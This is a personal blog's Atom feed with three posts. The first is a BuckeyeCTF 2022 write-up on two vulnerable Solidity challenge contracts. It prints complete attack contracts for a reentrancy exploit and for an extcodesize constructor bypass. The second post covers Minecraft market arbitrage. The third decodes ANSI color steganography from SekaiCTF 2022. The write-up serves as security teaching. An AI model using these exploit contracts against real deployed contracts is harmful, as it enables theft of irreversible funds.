<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://siraben.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://siraben.dev/" rel="alternate" type="text/html" /><updated>2026-04-08T17:31:54+00:00</updated><id>https://siraben.dev/feed.xml</id><title type="html">siraben’s musings</title><subtitle>Writing proofs and programs.</subtitle><author><name>Ben</name><email>siraben@siraben.dev</email></author><entry><title type="html">BuckeyeCTF 2022 Writeup - Nile &amp;amp; Andes</title><link href="https://siraben.dev/2022/11/13/buckeye-writeup.html" rel="alternate" type="text/html" title="BuckeyeCTF 2022 Writeup - Nile &amp;amp; Andes" /><published>2022-11-13T08:30:00+00:00</published><updated>2022-11-13T08:30:00+00:00</updated><id>https://siraben.dev/2022/11/13/buckeye-writeup</id><content type="html" xml:base="https://siraben.dev/2022/11/13/buckeye-writeup.html"><![CDATA[<p><img src="/assets/buckeye cover.jpg" alt="Cover image" /></p>

<p>Despite having <a href="https://certora.com/">worked</a> in smart contract
security, I have never actually performed an attack before—until
now.  Let’s take a look at some not-so-smart contracts, shall we?</p>

<h2 id="background">Background</h2>
<p>For our purposes, the Ethereum blockchain is just a distributed system
where transactions are recorded and verified cryptographically.
Transactions can include Ether (currency) and arbitrary data.  By
convention, the data conforms to the
<a href="https://docs.soliditylang.org/en/latest/abi-spec.html">ABI</a>, which is
just a schema.  Here’s some things that you can do with transactions
that are relevant to this problem.</p>

<ul>
  <li>create new contracts (from a user account)</li>
  <li>call public methods of other contracts (manually or
programmatically)</li>
</ul>

<p>Ethereum has a stack-based virtual machine (EVM) that executes the
code in a smart contract.  Usually, the smart contract is written in
<a href="https://github.com/ethereum/solidity">Solidity</a> then compiled.
Solidity is an object oriented, statically-typed language.</p>

<p>Now you know enough to make it big in Web3™!</p>

<h2 id="nile">Nile</h2>
<h3 id="the-problem">The problem</h3>
<blockquote>
  <p>I wrote my first smart contract on Ethereum, deployed onto the Görli
testnet, you have got to check it out! To celebrate it’s launch, I’m
giving away free tokens, you just have to redeem your
balance. Connect to the server to see the contract address.</p>
</blockquote>

<p>Oh boy do I love free tokens!</p>

<p>We are also given a netcat command that upon connection gives the
following message:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hello! The contract is running at 0x7217bd381C35dd9E1B8Fcbd74eaBac4847d936af on the Goerli Testnet.
Here is your token id: 0xdd9ebbfb04777dd38c3c17902d5d6848
Are you ready to receive your flag? (y/n)
</code></pre></div></div>

<p>And finally, we are given the following smart contract.  Right from
the start we see that have two maps from addresses to numbers and one
map from addresses to booleans.  They track how much balance an
account has, how much can be redeemed, and whether the account is
valid or not.  Note that “account” and “balance” here refer to purely
<em>data</em> associated with this contract, not the account and balance on
the actual blockchain itself.</p>

<p>There’s also 3 “events” these are just different types of messages
that the contract can “emit” (log) on the blockchain.</p>

<pre><code class="language-solidity">contract Nile {
    mapping(address =&gt; uint256) balance;
    mapping(address =&gt; uint256) redeemable;
    mapping(address =&gt; bool) accounts;

    event GetFlag(bytes32);
    event Redeem(address, uint256);
    event Created(address, uint256);
</code></pre>

<p>There’s a <code class="language-plaintext highlighter-rouge">createAccount</code> function that updates the maps corresponding
to the originator of the transaction (<code class="language-plaintext highlighter-rouge">msg.sender</code>), then emits an
event showing that an account with a given address has been created.</p>

<pre><code class="language-solidity">    function createAccount() public {
        balance[msg.sender] = 0;
        redeemable[msg.sender] = 100;
        accounts[msg.sender] = true;

        emit Created(msg.sender, 100);
    }
</code></pre>

<p>Interesting.  We can also delete a valid account (our own), clearing
the balance and redeemable values to 0.</p>

<pre><code class="language-solidity">    function deleteAccount() public {
        require(accounts[msg.sender]);
        balance[msg.sender] = 0;
        redeemable[msg.sender] = 0;
        accounts[msg.sender] = false;
    }
</code></pre>

<p>Conveniently, we also have a <code class="language-plaintext highlighter-rouge">getFlag</code> function, but this only runs to
completion if we have enough money.</p>

<pre><code class="language-solidity">    function getFlag(bytes32 token) public {
        require(accounts[msg.sender]);
        require(balance[msg.sender] &gt; 1000);

        emit GetFlag(token);
    }
</code></pre>

<p>Ah, right.  The contract owner is also giving away free tokens!  The
<code class="language-plaintext highlighter-rouge">redeem</code> function checks that the caller has a valid account and is
not redeeming more tokens than is redeemable.  Then it calls the
<a href="https://docs.soliditylang.org/en/v0.8.12/contracts.html#fallback-function">fallback
function</a>.</p>

<pre><code class="language-solidity">    function redeem(uint amount) public {
        require(accounts[msg.sender]);
        require(redeemable[msg.sender] &gt; amount);

        (bool status, ) = msg.sender.call("");

        if (!status) {
            revert();
        }

        redeemable[msg.sender] -= amount;
        balance[msg.sender] += amount;

        emit Redeem(msg.sender, amount);
    }
}
</code></pre>

<p>And this is where the bug is.  Since the <code class="language-plaintext highlighter-rouge">redeemable</code> and <code class="language-plaintext highlighter-rouge">balance</code>
maps get updated after the fallback function is called, we can make
the fallback function do another call to <code class="language-plaintext highlighter-rouge">redeem</code>, and again, and
again…</p>

<h3 id="the-attack">The attack</h3>
<p>So, what we need to do, in standard terminology, is something called a
<a href="https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/">reentrancy
attack</a>.
While theoretically simple, it was my first time doing it and I had
some <a href="https://goerli.etherscan.io/tx/0xccd3cc70d019e9b008b06c6ec56d1c81054e41a8c116ab01fe6aeb61e66e088c#internal">unfortunate
attempts</a>
initially (my frustration will forever be captured on the
blockchain).</p>

<p>To set it up we have to write another contract that will serve as the
attack, this is what I wrote:</p>

<pre><code class="language-solidity">pragma solidity ^0.7.6;
import "./Nile.sol";

contract Attack {
    Nile nile;
    uint256 internal n = 0;
    event Fallback(address caller, string message);

    constructor(address _nile) {
        nile = Nile(_nile);
    }

    function attack() public {f
        nile.createAccount();
        nile.redeem(99);
    }

    function getFlag(bytes32 token) public {
        nile.getFlag(token);
    }

    fallback() external payable {
        if (n &lt; 11) {
            emit Fallback(msg.sender, "Fallback was called");
            n += 1;
            nile.deleteAccount();
            nile.createAccount();
            nile.redeem(99);
        } else {
            emit Fallback(msg.sender, "Fallback has ended");
        }
    }
}
</code></pre>

<p>A few things to note.  There are some variables, <code class="language-plaintext highlighter-rouge">nile</code> and <code class="language-plaintext highlighter-rouge">n</code>.
<code class="language-plaintext highlighter-rouge">nile</code> points to the deployment of the vulnerable contract, and <code class="language-plaintext highlighter-rouge">n</code>
records how many times the reentrancy was performed.  To perform the
attack we call <code class="language-plaintext highlighter-rouge">attack</code>, which creates the account and redeems 99
tokens.  Now, since <code class="language-plaintext highlighter-rouge">redeem</code> calls the fallback function of the
caller, we get to run the code in the <code class="language-plaintext highlighter-rouge">fallback()</code> method.</p>

<p>In the <code class="language-plaintext highlighter-rouge">fallback()</code> method we update the counter, delete the account,
create a new one and redeem another 99 tokens.  This works because the
state in the target contract actually hasn’t been updated yet, so we
can just continue creating and redeeming tokens.</p>

<p><a href="https://goerli.etherscan.io/address/0x7083e0e27843e4df3558c546bd971b2d736d75d7">These</a>
series of transactions is proof that I was able to get the flag.
That’s the magic of blockchain, <a href="https://etherscan.io/address/0x59abf3837fa962d6853b4cc0a19513aa031fd32b">you can prove a heist happened</a>!</p>

<h2 id="andes">Andes</h2>
<h3 id="the-problem-1">The problem</h3>
<blockquote>
  <p>Sometimes the house wins. Sometimes you both win. Note: the token
must be right-padded to 64 bytes if using Remix and passing as a
function parameter.</p>
</blockquote>

<p>Bah, this smart contract is kind of long.  Let’s take it piece by
piece.</p>

<p>There’s a map of <code class="language-plaintext highlighter-rouge">designators</code> and <code class="language-plaintext highlighter-rouge">balances</code>, and some special
address called a <code class="language-plaintext highlighter-rouge">selector</code>, along with a private variable <code class="language-plaintext highlighter-rouge">nextVal</code>
and an 8 by 8 array of <code class="language-plaintext highlighter-rouge">bids</code>.</p>

<pre><code class="language-solidity">contract Andes {
    // designators can designate an address to be the next random
    // number selector
    mapping (address =&gt; bool) designators;
    mapping (address =&gt; uint) balances;

    address selector;
    uint8 private nextVal;
    address[8][8] bids;

    event Registered(address, uint);
    event RoundFinished(address);
    event GetFlag(bytes32);
</code></pre>

<p>There’s some pretty normal-looking functions that show how designators
can be changed.  It seems like only designators can set the next
selector and that the selector can set the value of <code class="language-plaintext highlighter-rouge">nextVal</code>.</p>

<pre><code class="language-solidity">    modifier onlyDesignators() {
        require(designators[msg.sender] == true, "Not owner");
        _;
    }

    function setNextSelector(address _selector) public onlyDesignators {
        require(_selector != msg.sender);
        selector = _selector;
    }

    function setNextNumber(uint8 value) public {
        require(selector == msg.sender);
        nextVal = value;
    }
</code></pre>

<p>This time, we have a constructor, which sets the sender of the
transaction to be a designator and resets the bids.</p>

<pre><code class="language-solidity">    constructor(){
        designators[msg.sender] = true;
        _resetBids();
    }

    function _resetBids() private {
        for (uint i = 0; i &lt; 8; i++) {
            for (uint j = 0; j &lt; 8; j++) {
                bids[i][j] = address(0);
            }
        }
    }

    function getBalance() public view returns(uint) {
        return balances[msg.sender];
    }
</code></pre>

<p>The <code class="language-plaintext highlighter-rouge">register</code> function sets the balance of the sender to be 50 only
if it is currently less than 10, and a specific bid can be purchased
if the balance of the sender is more than 10.</p>

<pre><code class="language-solidity">    function register() public {
        require(balances[msg.sender] &lt; 10);
        balances[msg.sender] = 50;
        emit Registered(msg.sender, 50);
    }

    function purchaseBid(uint8 bid) public {
        require(balances[msg.sender] &gt; 10);
        require(msg.sender != selector);

        uint row = bid % 8;
        uint col = bid / 8;

        if (bids[row][col] == address(0)) {
            balances[msg.sender] -= 10;
            bids[row][col] = msg.sender;
        }
    }
</code></pre>

<p>So once we have these bids, what can we do with them?  Looks like
designators can start a new round, and the winner is determined by
<code class="language-plaintext highlighter-rouge">nextVal</code>.  The lucky winner will get 1000 points, which gives them
the ability to get the flag.</p>

<pre><code class="language-solidity">    function playRound() public onlyDesignators {
        address winner = bids[nextVal % 8][nextVal / 8];

        balances[winner] += 1000;
        _resetBids();

        emit RoundFinished(winner);
    }

    function getFlag(bytes32 token) public {
        require(balances[msg.sender] &gt;= 1000);

        emit GetFlag(token);
    }
</code></pre>

<p>Finally, there’s these two functions which let us designate a new
owner, but only if the sender satisfies the predicate
<code class="language-plaintext highlighter-rouge">_canBeDesignator</code>.  The purpose of that predicate is to determine if
an address is actually an account or a contract.</p>

<pre><code class="language-solidity">
    function designateOwner() public {
        require(_canBeDesignator(msg.sender));
        require(balances[msg.sender] &gt; 0);
        designators[msg.sender] = true;
    }

    function _canBeDesignator(address _addr) private view returns(bool) {
        uint size = 0;

        assembly {
            size := extcodesize(_addr)
        }

        return size == 0 &amp;&amp; tx.origin != msg.sender;
    }
}
</code></pre>

<p>It is in <code class="language-plaintext highlighter-rouge">_canBeDesignator</code> that the vulnerability lies.  In the EVM,
<code class="language-plaintext highlighter-rouge">extcodesize</code> is an opcode that returns the size of the code on an
address.  However, using <code class="language-plaintext highlighter-rouge">extcodesize</code> in this way is <a href="https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/">not
good</a>.
When a contract’s constructor is called, <code class="language-plaintext highlighter-rouge">extcodesize</code> actually
returns 0.</p>

<h3 id="the-attack-1">The attack</h3>
<p>This is what we have so far:</p>

<ul>
  <li>only designators can set the next selector, and it cannot be itself</li>
  <li>only selectors can set the next number</li>
  <li>only designators can play a round</li>
</ul>

<p>So to launch the attack, we’re going to need something a little bit
more sophisticated; two contracts, <code class="language-plaintext highlighter-rouge">Bidder</code> and <code class="language-plaintext highlighter-rouge">Designator</code>.
<code class="language-plaintext highlighter-rouge">Designator</code>’s constructor will launch the whole attack and call
<code class="language-plaintext highlighter-rouge">Attack</code> to set <code class="language-plaintext highlighter-rouge">Designator</code> as a valid designator.  <code class="language-plaintext highlighter-rouge">Bidder</code> will
also purchase the bid at index 0.</p>

<p>Now that <code class="language-plaintext highlighter-rouge">Designator</code> is a designator, it can set the next number to 0
and play a round.  Then, naturally, <code class="language-plaintext highlighter-rouge">Bidder</code> will win the round, then
we can get the flag!</p>

<p>The contracts are really quite simple, and I just performed some steps
interactively.  Once again, here’s
<a href="https://goerli.etherscan.io/tx/0xb5e9313089de6918eba81e8ef712ef6950a9a9c24112d71d64f61bdb9c699b50">proof</a>
that we got the flag.</p>

<pre><code class="language-solidity">pragma solidity ^0.7.6;
import "./andes.sol";

// Makes bid
contract Bidder {
    Andes andes;
    bytes32 token;

    event MyBalanceIs(address caller, string message, uint b);

    constructor(address _andes) {
        andes = Andes(_andes);
        andes.register();
        andes.purchaseBid(0);
        andes.designateOwner();
    }

    function designate(address other) public {
        andes.setNextSelector(other);
    }

    function setToken(bytes32 _token) public {
        token = _token;
    }

    function getFlag() public {
        andes.getFlag(token);
    }

    function getBalance() public {
        uint b = andes.getBalance();
        emit MyBalanceIs(msg.sender, "Balance got", b);
    }
}
</code></pre>

<pre><code class="language-solidity">// Sets next number
contract Designator {
    constructor(address _andes, address _attack, bytes32 token) {
        // andes is the contract they deploy
        Andes andes = Andes(_andes);
        // attack is the contract we deploy, and we buy bid 0 and they're also owner
        Bidder attack = Attack(_attack);
        attack.setToken(token);
        // register ourselves
        andes.register();
        // make ourselves owner
        andes.designateOwner();
        // tell the attack contract to make us designator, and make us selector
        attack.designate(address(this));
        andes.setNextNumber(0);
        // start the round
        andes.playRound();
    }
}
</code></pre>

<h2 id="closing-thoughts">Closing thoughts</h2>
<p>These two challenges really illustrate the notion that smart contracts
are not inherently more or less secure than other technology.
Security is not just a technical problem but also a social process.
Without the right coding practices and review processes, bugs can slip
through and lead to disaster.  The stakes are higher in blockchain
because there is no reverting stolen funds, as dramatically
demonstrated by recent market turmoil.  Thanks for reading!</p>

<p>Views expressed here are of my own and not of any employer, former,
present or future.</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="ctf" /><category term="blockchain" /><category term="security" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Arbitrage in Minecraft markets</title><link href="https://siraben.dev/2022/11/08/mc-arbitrage.html" rel="alternate" type="text/html" title="Arbitrage in Minecraft markets" /><published>2022-11-08T20:24:00+00:00</published><updated>2022-11-08T20:24:00+00:00</updated><id>https://siraben.dev/2022/11/08/mc-arbitrage</id><content type="html" xml:base="https://siraben.dev/2022/11/08/mc-arbitrage.html"><![CDATA[<p>Admist all this talk of market making and economics, one idle evening
during the summer of 2022 I wondered, “could I do arbitrage on a
Minecraft server?”  The answer was not only yes, but it was incredible
to witness the extent to which by doing essentially nothing but trades
I was able to accumulate tens of thousands in virtual currency.  I’m
not going to say which server this was performed on, but it should be
straightforward to do the same in other economy-based servers.</p>

<p><strong>Note: after essentially exercising all the arbitrage that
was possible, a week later prices converged and it was much harder to
do.</strong></p>

<h2 id="alls-fair-in-love-and-markets">All’s fair in love and markets</h2>

<p>What’s the price of a block of cobblestone?  What about the price of
gold?  There are some heuristics that can help determine pricing, for
instance iron blocks consist of 9 iron bars, so any price discrepancy
would quickly be ironed out by arbitrage.  Diamonds feel like they
should be pricey, but maybe it’s unclear what would consistute a
“fair” price.  Fortunately, economics has the answer to this: let the
market decide!</p>

<p>Several Minecraft servers have a buy/sell plugin in which a shopkeeper
can stock up a chest with a desired item and set it to buy or sell the
item.  Some shops even have buy and sell chests for the same item.  Of
course, no one would be naïve enough to allow arbitrage to be
exercised against themselves, so the spreads I observed were always
ridiculous, and rightly so.  If I don’t really need much of an item,
why would be buying it at a high price from people and risk
bankruptcy?</p>

<p>But there is no limit to how many stores can be opened and how things
are priced.  This is where arbitrage comes in.  To make matters
easier, there are no transaction fees, and the transactions happen
instantly.  There was also a warp system that conveniently allowed me
to teleport to any market that people advertised on a list.</p>

<h2 id="lets-trade">Let’s trade</h2>
<p>The game, then, was straightforward.  Go around collecting buy/sell
information from various shops, just as in real markets, observe where
a buy price is higher than a sell price, then do the trade.</p>

<p>Here’s a graph showing the net profits after 117 trades.</p>

<p><img src="/assets/trades.png" alt="Graph showing the net profit and trades over
time" /></p>

<p>For completeness, this is how the transactions looked when I recorded
them.  The only unfortunate thing is that from time to time I
bankrupted some users (RIP iced logs).</p>

<table>
  <thead>
    <tr>
      <th>item</th>
      <th>shop</th>
      <th style="text-align: right">quantity</th>
      <th style="text-align: right">price</th>
      <th style="text-align: right">amt</th>
      <th style="text-align: right">net profit</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>gunpowder</td>
      <td>spawners and more</td>
      <td style="text-align: right">15</td>
      <td style="text-align: right">-10</td>
      <td style="text-align: right">-150</td>
      <td style="text-align: right">12551.2</td>
    </tr>
    <tr>
      <td>gunpowder</td>
      <td>killashop</td>
      <td style="text-align: right">15</td>
      <td style="text-align: right">15</td>
      <td style="text-align: right">225</td>
      <td style="text-align: right">12776.2</td>
    </tr>
    <tr>
      <td>oak log</td>
      <td>stellvia</td>
      <td style="text-align: right">114</td>
      <td style="text-align: right">-4</td>
      <td style="text-align: right">-456</td>
      <td style="text-align: right">12320.2</td>
    </tr>
    <tr>
      <td>oak planks</td>
      <td>iced logs</td>
      <td style="text-align: right">456</td>
      <td style="text-align: right">2</td>
      <td style="text-align: right">912</td>
      <td style="text-align: right">13232.2</td>
    </tr>
    <tr>
      <td>birch log</td>
      <td>stellvia</td>
      <td style="text-align: right">432</td>
      <td style="text-align: right">-4</td>
      <td style="text-align: right">-1728</td>
      <td style="text-align: right">11504.2</td>
    </tr>
    <tr>
      <td>birch planks</td>
      <td>iced logs</td>
      <td style="text-align: right">1728</td>
      <td style="text-align: right">2</td>
      <td style="text-align: right">3456</td>
      <td style="text-align: right">14960.2</td>
    </tr>
    <tr>
      <td>spruce planks</td>
      <td>celt</td>
      <td style="text-align: right">1472</td>
      <td style="text-align: right">-1</td>
      <td style="text-align: right">-1472</td>
      <td style="text-align: right">13488.2</td>
    </tr>
    <tr>
      <td>spruce planks</td>
      <td>iced logs (bankrupted)</td>
      <td style="text-align: right">162</td>
      <td style="text-align: right">2</td>
      <td style="text-align: right">324</td>
      <td style="text-align: right">13812.2</td>
    </tr>
  </tbody>
</table>

<p>It was also interesting to observe market changes in real time.  In
one particular instance, gunpowder was being sold by the hundreds from
a shop pricing them at $5 each, which was clearly a steal given that
another shop is happily buying them at $15.  After messaging the
shopkeeper several times as I kept buying them out of gunpowder, I
watched as the price rose to $7.5 then $10.  That’s price convergence
right there.</p>

<h2 id="future-directions">Future directions</h2>
<p>Some thought experiments that I did not implement but might serve as
suggestions for the interested reader:</p>

<ul>
  <li>Write a bot to automatically warp to every shop and scrape the sign
data</li>
  <li>Write a bot that exercises the arbitrage automatically (recommended:
use state-of-the-art pathfinding bots such as baritone)</li>
</ul>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="minecraft" /><category term="economics" /><summary type="html"><![CDATA[Admist all this talk of market making and economics, one idle evening during the summer of 2022 I wondered, “could I do arbitrage on a Minecraft server?” The answer was not only yes, but it was incredible to witness the extent to which by doing essentially nothing but trades I was able to accumulate tens of thousands in virtual currency. I’m not going to say which server this was performed on, but it should be straightforward to do the same in other economy-based servers.]]></summary></entry><entry><title type="html">SekaiCTF 2022 Writeup - Matryoshka</title><link href="https://siraben.dev/2022/10/02/matryoshka.html" rel="alternate" type="text/html" title="SekaiCTF 2022 Writeup - Matryoshka" /><published>2022-10-02T13:43:00+00:00</published><updated>2022-10-02T13:43:00+00:00</updated><id>https://siraben.dev/2022/10/02/matryoshka</id><content type="html" xml:base="https://siraben.dev/2022/10/02/matryoshka.html"><![CDATA[<p>ANSI escape codes.  Race conditions in PNG parsing.  Digital COVID-19
vaccination records.  De-noising audio files and the NATO phonetic
alphabet.  The only thing linking all of them?  A race to solve a CTF
challenge and get the flag.</p>

<p>This past weekend I had a lot of fun participating in <a href="https://ctf.sekai.team/">SekaiCTF
2022</a>.  This post will dive into a particular
problem our team found interesting and were quick to solve (we were
the 5th solve out of 800+ teams that participated and 12 eventual
solves for this question).</p>

<p>As the name implies, Matryoshka (матрёшка) refers to Russian nesting
dolls.  In the context of CTFs, this probably was hinting at the
multi-layered nature of the problem, an appreciated nudge since we are
pressed for time during competitions.</p>

<h2 id="setup">Setup</h2>

<p>We were given two PNG files and the following bullet points.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center"><code class="language-plaintext highlighter-rouge">Matryoshka.png</code></th>
      <th style="text-align: center"><code class="language-plaintext highlighter-rouge">Matryoshka-Lite.png</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><img src="/assets/Matryoshka.png" alt="Matryoshka" /></td>
      <td style="text-align: center"><img src="/assets/Matryoshka-Lite.png" alt="Matryoshka-Lite" /></td>
    </tr>
  </tbody>
</table>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />One extra bit will double the 8 colors you already have, but
ain’t these new colors too similar to the old ones?</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" checked="checked" />“Never reinvent your own wheel”, people say. But Apple insisted
on thinking differently when parsing PNGs.</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />?</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />?</li>
</ul>

<p>This proved intriguing, since the screenshots appeared to show all
that was necessary—the code, example run and what potentially could
be the flag or next step.  We see what appears to be VS Code windows
with a dark, high-contrast theme on, Python code and colored text in a
terminal, presumably generated from the same code.</p>

<p>The first bullet point refers to the fact that adding another bit to a
string doubles the number of possible messages that could be conveyed.
In this case, there are 8 color and 16 possibilities for terminal
colors that would use 3 and 4 bits respectively.</p>

<p>The second bullet point I recognized as a possible reference to a
phenomenon I <a href="https://news.ycombinator.com/item?id=29573792">saw on Hacker
News</a> 9 months ago,
where the way that Apple software implemented PNG parsing had a race
condition that could be exploited to cause PNG images to render
differently than they would on other platforms.  Though, no signs of
that quite yet.</p>

<h2 id="a-very-ansi-adventure">A very ANSI adventure</h2>
<p><a href="https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797">This
resource</a>
was very helpful while brushing up on the ever-so-niche ANSI escape
codes that have cryptic syntax.</p>

<h3 id="messages-through-ansi-color-codes">Messages through ANSI color codes</h3>
<p>Of course, I immediately transcribed the code, changed VS Code’s color
settings and replicated the output.  I chose to stick with the
<code class="language-plaintext highlighter-rouge">Matryoshka-Lite</code> image because no foreground was being set and so I
would only have to sample one color, and changed the smiley face to a
dot.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>
<span class="n">stdin</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">stdin</span><span class="p">.</span><span class="nb">buffer</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
<span class="n">d</span> <span class="o">=</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nf">bin</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">2</span><span class="p">:].</span><span class="nf">zfill</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">stdin</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="sh">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="mi">8</span><span class="p">):</span>
    <span class="n">l</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span>
    <span class="n">h</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>
    <span class="n">he</span> <span class="o">=</span> <span class="mi">40</span> <span class="k">if</span> <span class="n">h</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sh">"</span><span class="s">0</span><span class="sh">"</span> <span class="k">else</span> <span class="mi">100</span>
    <span class="n">he</span> <span class="o">+=</span> <span class="nf">int</span><span class="p">(</span><span class="n">h</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">2</span><span class="p">)</span>
    <span class="n">le</span> <span class="o">=</span> <span class="mi">40</span> <span class="k">if</span> <span class="n">l</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sh">"</span><span class="s">0</span><span class="sh">"</span> <span class="k">else</span> <span class="mi">100</span>
    <span class="n">le</span> <span class="o">+=</span> <span class="nf">int</span><span class="p">(</span><span class="n">l</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">2</span><span class="p">)</span>
    <span class="n">p</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"</span><span class="se">\033</span><span class="s">[</span><span class="si">{</span><span class="n">he</span><span class="si">}</span><span class="s">m●</span><span class="se">\033</span><span class="s">[0m</span><span class="sh">"</span>
    <span class="n">p</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"</span><span class="se">\033</span><span class="s">[</span><span class="si">{</span><span class="n">le</span><span class="si">}</span><span class="s">m●</span><span class="se">\033</span><span class="s">[0m</span><span class="sh">"</span>
<span class="nf">print</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
</code></pre></div></div>

<p>The Japanese sentence あなたと私でランデブー？<a href="https://www.youtube.com/watch?v=HOz-9FzIDf0">(You and me,
rendezvous?)</a> also
provided a sanity check that the code was executing correctly.  Being
somewhat of a hobby linguist, I noticed immediately that the character
<code class="language-plaintext highlighter-rouge">？</code> was the <a href="https://en.wikipedia.org/wiki/Question_mark#Fullwidth_question_mark_in_East_Asian_languages">FULLWIDTH QUESTION MARK
character</a>
which is used in East Asian languages.  This was important in making
sure that the outputs matched exactly.</p>

<p><img src="/assets/matryoshka-replicate.png" alt="My replication of the screenshot" /></p>

<h3 id="decrypting-the-block-cipher">Decrypting the block cipher</h3>
<p>Cryptography wise, this was a relief.  It’s immediately evident that
this is a mere block cipher.  To walk through an example,
consider what happens when we start with the string <code class="language-plaintext highlighter-rouge">fl</code>.  First we
convert the <a href="https://unicode.org/glossary/#unicode_scalar_value">scalar
values</a> (not
bytes!)  into binary numbers and leftpad them with zeroes.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nf">bin</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">2</span><span class="p">:].</span><span class="nf">zfill</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="sh">"</span><span class="s">fl</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">()]</span>
<span class="p">[</span><span class="sh">'</span><span class="s">01100110</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">01101100</span><span class="sh">'</span><span class="p">]</span>
</code></pre></div></div>

<p>Next we join the strings then take blocks <code class="language-plaintext highlighter-rouge">l</code> and <code class="language-plaintext highlighter-rouge">h</code> of size 4 each
time.  We check if the first digit is a 0 or 1 and adjust the value
accordingly and add the remaining bits to either 40 or 100.  Observe
that since the maximum value of the remaining bits is 7, we can easily
reverse the process to go back to the original block.  Adjacent blocks
are also transposed as we go along which was a bit unusual but did not
affect the reversing process.  This is the algorithm I wrote:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># inverse of encode
</span><span class="k">def</span> <span class="nf">decode</span><span class="p">(</span><span class="n">d</span><span class="p">):</span>
    <span class="c1"># reconstruct the first bit
</span>    <span class="k">if</span> <span class="n">d</span> <span class="o">&gt;=</span> <span class="mi">100</span><span class="p">:</span>
        <span class="n">d</span> <span class="o">-=</span> <span class="mi">100</span>
        <span class="n">b</span> <span class="o">=</span> <span class="sh">"</span><span class="s">1</span><span class="sh">"</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">d</span> <span class="o">-=</span> <span class="mi">40</span>
        <span class="n">b</span> <span class="o">=</span> <span class="sh">"</span><span class="s">0</span><span class="sh">"</span>
    <span class="c1"># reconstruct the last 3 bits then concat
</span>    <span class="k">return</span> <span class="n">b</span> <span class="o">+</span> <span class="nf">bin</span><span class="p">(</span><span class="n">d</span><span class="p">)[</span><span class="mi">2</span><span class="p">:].</span><span class="nf">zfill</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="from-color-to-data">From color to data</h3>
<p>Now that I had the algorithm to decrypt the cipher, I looked at the
image and had to decide how to go from the colors shown into the array
of numbers to decode.  Since CTFs are time-sensitive, I literally just
used macOS’s Color Picker utility and keyboard shortcuts to go through
the colored rectangles one by one and paste them into Emacs.  It would
be disastrous to miss or repeat a color, so I found some <a href="https://www.emacswiki.org/emacs/HexColour">Emacs Lisp
code</a> that would highlight
the hex colors in <code class="language-plaintext highlighter-rouge">text-mode</code> buffers for ease of viewing.</p>

<p><img src="/assets/emacs-font-lock-hex.png" alt="Customizing Emacs to view hex
colors" /></p>

<p>So now we have a list of hex colors.  Then, a bit of Emacs-fu and
visual cross-checks allowed me to obtain the list of numbers.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">enc</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">"</span><span class="s">data.txt</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
